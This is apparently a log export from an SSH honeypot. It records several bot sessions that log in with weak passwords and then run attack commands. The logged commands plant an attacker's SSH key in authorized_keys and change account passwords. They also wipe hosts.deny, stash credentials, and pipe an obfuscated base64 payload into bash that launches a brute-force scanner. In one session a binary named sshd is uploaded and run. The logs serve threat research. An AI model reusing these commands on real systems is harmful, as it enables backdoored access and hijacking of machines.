6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T19:52:19.948445+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T19:52:19.949287+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T19:52:20.240636+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T19:52:20.241238+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T19:52:20.525990+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T19:52:20.526314+00:00","kind":"output","latency_ms":null,"data":"parth"},{"seq":29,"at":"2026-08-20T19:52:20.810227+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T19:52:21.623516+00:00","kind":"output","latency_ms":812,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T19:52:21.909955+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T19:52:22.781829+00:00","kind":"output","latency_ms":871,"data":"24G"},{"seq":33,"at":"2026-08-20T19:52:23.814143+00:00","kind":"input","latency_ms":null,"data":"echo \"parth parth@123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T19:52:24.097938+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T19:52:24.612797+00:00","kind":"output","latency_ms":514,"data":""},{"seq":36,"at":"2026-08-20T19:52:25.048405+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T19:52:25.981667+00:00","kind":"output","latency_ms":943,"data":"Parth done, no changes to prod."},{"seq":38,"at":"2026-08-20T19:52:26.266412+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T19:52:26.893280+00:00","kind":"output","latency_ms":626,"data":"Parth done, no changes to prod."},{"seq":40,"at":"2026-08-20T19:52:27.177994+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T19:52:27.461499+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T19:52:28.548153+00:00","kind":"output","latency_ms":1085,"data":"Parth done, no changes to prod."},{"seq":43,"at":"2026-08-20T19:52:28.832566+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T19:52:29.552690+00:00","kind":"output","latency_ms":719,"data":"Parth done, no changes to prod."},{"seq":45,"at":"2026-08-20T19:52:29.841170+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T19:52:30.305619+00:00","kind":"output","latency_ms":461,"data":""},{"seq":47,"at":"2026-08-20T19:52:38.358331+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T19:52:38.358798+00:00","kind":"output","latency_ms":null,"data":"parth"}],"credentials":[{"username":"parth","password":"parth@123","method":"password","accepted":true,"tier":"other"}]} {"id":"693e4c0b-9628-4110-af98-de6e70250ebd","name":"lawful-forlorn-bushbaby","protocol":"ssh","channel_kind":"exec","src_ip":"69.6.223.142","src_port":49164,"username":"leandro","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":375,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T16:54:18.686099+00:00","ended_at":"2026-08-20T16:54:18.795409+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3916,"events":[{"seq":1,"at":"2026-08-20T16:53:48.301857+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T16:53:48.675868+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T16:53:52.289376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T16:53:52.290176+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-20T16:53:52.665872+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nZnERKWvYX97t\\nZnERKWvYX97t\"|passwd|bash"},{"seq":6,"at":"2026-08-20T16:53:53.041351+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nZnERKWvYX97t\\nZnERKWvYX97t\\n\"|passwd"},{"seq":7,"at":"2026-08-20T16:53:53.414798+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-20T16:53:53.415907+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-20T16:53:53.790917+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-20T16:53:54.770952+00:00","kind":"output","latency_ms":979,"data":"15888 0 15888 0 0 0"},{"seq":11,"at":"2026-08-20T16:53:55.147092+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-20T16:53:55.919928+00:00","kind":"output","latency_ms":771,"data":"-rwxr-xr-x 1 root root 151K Jan 11 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-20T16:53:56.296555+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-20T16:53:56.297222+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T16:53:56.672156+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-20T16:53:56.672622+00:00","kind":"output","latency_ms":null,"data":" 16:53:56 up 13:44, 0 user, load average: 0.24, 0.19, 0.27\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-20T16:53:57.049604+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-20T16:53:57.050731+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-20T16:53:57.424749+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-20T16:53:57.425704+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-20T16:53:57.799228+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-20T16:53:57.800013+00:00","kind":"output","latency_ms":null,"data":"top - 16:53:57 up 13:44, 0 user, load average: 0.24, 0.19, 0.27\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-20T16:53:58.175888+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-20T16:53:58.176314+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-20T16:53:58.551101+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-20T16:53:58.551607+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-20T16:53:58.926833+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-20T16:53:58.927379+00:00","kind":"output","latency_ms":null,"data":"leandro"},{"seq":29,"at":"2026-08-20T16:53:59.302483+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-20T16:54:00.676305+00:00","kind":"output","latency_ms":1372,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-20T16:54:01.051347+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-20T16:54:01.989822+00:00","kind":"output","latency_ms":937,"data":"24G"},{"seq":33,"at":"2026-08-20T16:54:03.319178+00:00","kind":"input","latency_ms":null,"data":"echo \"leandro 123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-20T16:54:03.685490+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-20T16:54:04.302186+00:00","kind":"output","latency_ms":616,"data":""},{"seq":36,"at":"2026-08-20T16:54:04.989637+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-20T16:54:06.193846+00:00","kind":"output","latency_ms":1202,"data":"A malformed or invalid command was detected."},{"seq":38,"at":"2026-08-20T16:54:06.567748+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-20T16:54:07.389141+00:00","kind":"output","latency_ms":820,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-20T16:54:07.765237+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-20T16:54:08.138954+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T16:54:08.678108+00:00","kind":"output","latency_ms":538,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-20T16:54:09.053827+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-20T16:54:09.659707+00:00","kind":"output","latency_ms":602,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-20T16:54:10.032872+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-20T16:54:10.608194+00:00","kind":"output","latency_ms":573,"data":""},{"seq":47,"at":"2026-08-20T16:54:18.687924+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-20T16:54:18.688565+00:00","kind":"output","latency_ms":null,"data":"leandro"}],"credentials":[{"username":"leandro","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"e3eee844-4660-4da4-8622-91b468c14614","name":"gallant-sullen-bullfinch","protocol":"ssh","channel_kind":"exec","src_ip":"144.225.8.54","src_port":60896,"username":"root","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"chmod +x ./.7952845218618959092/sshd;nohup ./.7952845218618959092/sshd &","started_at":"2026-08-20T13:32:13.067213+00:00","ended_at":"2026-08-20T13:32:22.630900+00:00","ended_reason":"exec complete","commands":2,"transcript_bytes":144,"events":[{"seq":1,"at":"2026-08-20T13:32:13.064879+00:00","kind":"input","latency_ms":null,"data":"[sftp upload] /root/.7952845218618959092/sshd (30304472 bytes)"},{"seq":2,"at":"2026-08-20T13:32:13.067566+00:00","kind":"input","latency_ms":null,"data":"chmod +x ./.7952845218618959092/sshd;nohup ./.7952845218618959092/sshd &"},{"seq":3,"at":"2026-08-20T13:32:13.704344+00:00","kind":"output","latency_ms":1171,"data":"[1] 32417"}],"credentials":[{"username":"root","password":"linux","method":"password","accepted":true,"tier":"other"}]} {"id":"a09265ce-7df6-487c-b00d-1f24a248165f","name":"canny-restless-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"186.248.197.77","src_port":45656,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":412,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:59:14.353436+00:00","ended_at":"2026-08-20T12:59:14.478176+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3733,"events":[{"seq":1,"at":"2026-08-20T12:58:39.119247+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:58:39.532077+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:58:43.545082+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:58:44.133062+00:00","kind":"output","latency_ms":587,"data":"1"},{"seq":5,"at":"2026-08-20T12:58:44.544969+00:00","kind":"input","latency_ms":null,"data":"echo \"root:8thtrH5KGcXe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:58:44.958108+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-20T12:58:45.038331+00:00","kind":"output","latency_ms":492,"data":""},{"seq":8,"at":"2026-08-20T12:58:45.368032+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-20T12:58:46.002435+00:00","kind":"output","latency_ms":633,"data":"AMD EPYC 7713 64-Core Processor\n"},{"seq":10,"at":"2026-08-20T12:58:46.412838+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-20T12:58:47.042495+00:00","kind":"output","latency_ms":628,"data":"956 0 956 0 0 0"},{"seq":12,"at":"2026-08-20T12:58:47.455535+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-20T12:58:48.260736+00:00","kind":"output","latency_ms":804,"data":"-rwxr-xr-x 1 root root 142K Jan 17 2024 /usr/bin/ls"},{"seq":14,"at":"2026-08-20T12:58:48.674116+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-20T12:58:49.651513+00:00","kind":"output","latency_ms":976,"data":"* * * * * /opt/stable/bin/muck-out.sh >/var/log/muck-out.log 2>&1\n0 * * * * /opt/stable/bin/gallop-backup.sh >/var/log/gallop-backup.log 2>&1\n*/5 * * * * /opt/stable/bin/hoofcheck.sh >/var/log/hoofcheck.log 2>&1"},{"seq":16,"at":"2026-08-20T12:58:50.064996+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-20T12:58:51.284147+00:00","kind":"output","latency_ms":1216,"data":" 03:09:53 up 9:48, 1 user, load average: 0.08, 0.04, 0.01\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\nroot pts/0 203.0.113.1 03:09 0.00s 0.02s 0.00s w\n"},{"seq":18,"at":"2026-08-20T12:58:51.695265+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-20T12:58:51.695701+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-20T12:58:52.108567+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-20T12:58:52.569320+00:00","kind":"output","latency_ms":460,"data":"64"},{"seq":22,"at":"2026-08-20T12:58:52.982265+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-20T12:58:52.982789+00:00","kind":"output","latency_ms":null,"data":"top - 12:58:52 up 9:48, 0 user, load average: 0.18, 0.23, 0.19\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 956 total, 535 free, 420 used\nMiB Swap: 511 total, 511 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-20T12:58:53.395486+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-20T12:58:53.395800+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-20T12:58:53.809340+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-20T12:58:53.809742+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-20T12:58:54.220885+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-20T12:58:54.221593+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-20T12:58:54.633702+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-20T12:58:56.540033+00:00","kind":"output","latency_ms":1904,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":32,"at":"2026-08-20T12:58:56.951684+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-20T12:58:57.426619+00:00","kind":"output","latency_ms":473,"data":"24G"},{"seq":34,"at":"2026-08-20T12:58:58.882678+00:00","kind":"input","latency_ms":null,"data":"echo \"root meng123456\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-20T12:58:59.293154+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-20T12:58:59.702966+00:00","kind":"output","latency_ms":409,"data":""},{"seq":37,"at":"2026-08-20T12:59:00.739638+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-20T12:59:01.259426+00:00","kind":"output","latency_ms":522,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":39,"at":"2026-08-20T12:59:01.679638+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-20T12:59:02.653206+00:00","kind":"output","latency_ms":972,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":41,"at":"2026-08-20T12:59:03.071054+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-20T12:59:03.488357+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-20T12:59:04.131524+00:00","kind":"output","latency_ms":643,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":44,"at":"2026-08-20T12:59:04.549073+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-20T12:59:05.268591+00:00","kind":"output","latency_ms":718,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":46,"at":"2026-08-20T12:59:05.685671+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-20T12:59:06.191707+00:00","kind":"output","latency_ms":505,"data":""},{"seq":48,"at":"2026-08-20T12:59:14.354533+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-20T12:59:14.355038+00:00","kind":"output","latency_ms":null,"data":"root"}],"credentials":[{"username":"root","password":"meng123456","method":"password","accepted":true,"tier":"other"}]} {"id":"9d97c634-71cf-4395-9707-f7b02c0c87c2","name":"deft-frank-jackal","protocol":"ssh","channel_kind":"exec","src_ip":"139.59.28.125","src_port":34268,"username":"root","client_version":"SSH-2.0-libssh_0.11.1","auth_attempts":1,"automation":"bot","think_ms":678,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-20T12:57:42.460636+00:00","ended_at":"2026-08-20T12:57:42.669225+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3631,"events":[{"seq":1,"at":"2026-08-20T12:56:59.098069+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-20T12:56:59.775443+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-20T12:57:05.325871+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-20T12:57:05.863672+00:00","kind":"output","latency_ms":536,"data":"1"},{"seq":5,"at":"2026-08-20T12:57:06.541229+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Vr6mUc0sST4y\"|chpasswd|bash"},{"seq":6,"at":"2026-08-20T12:57:07.218578+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 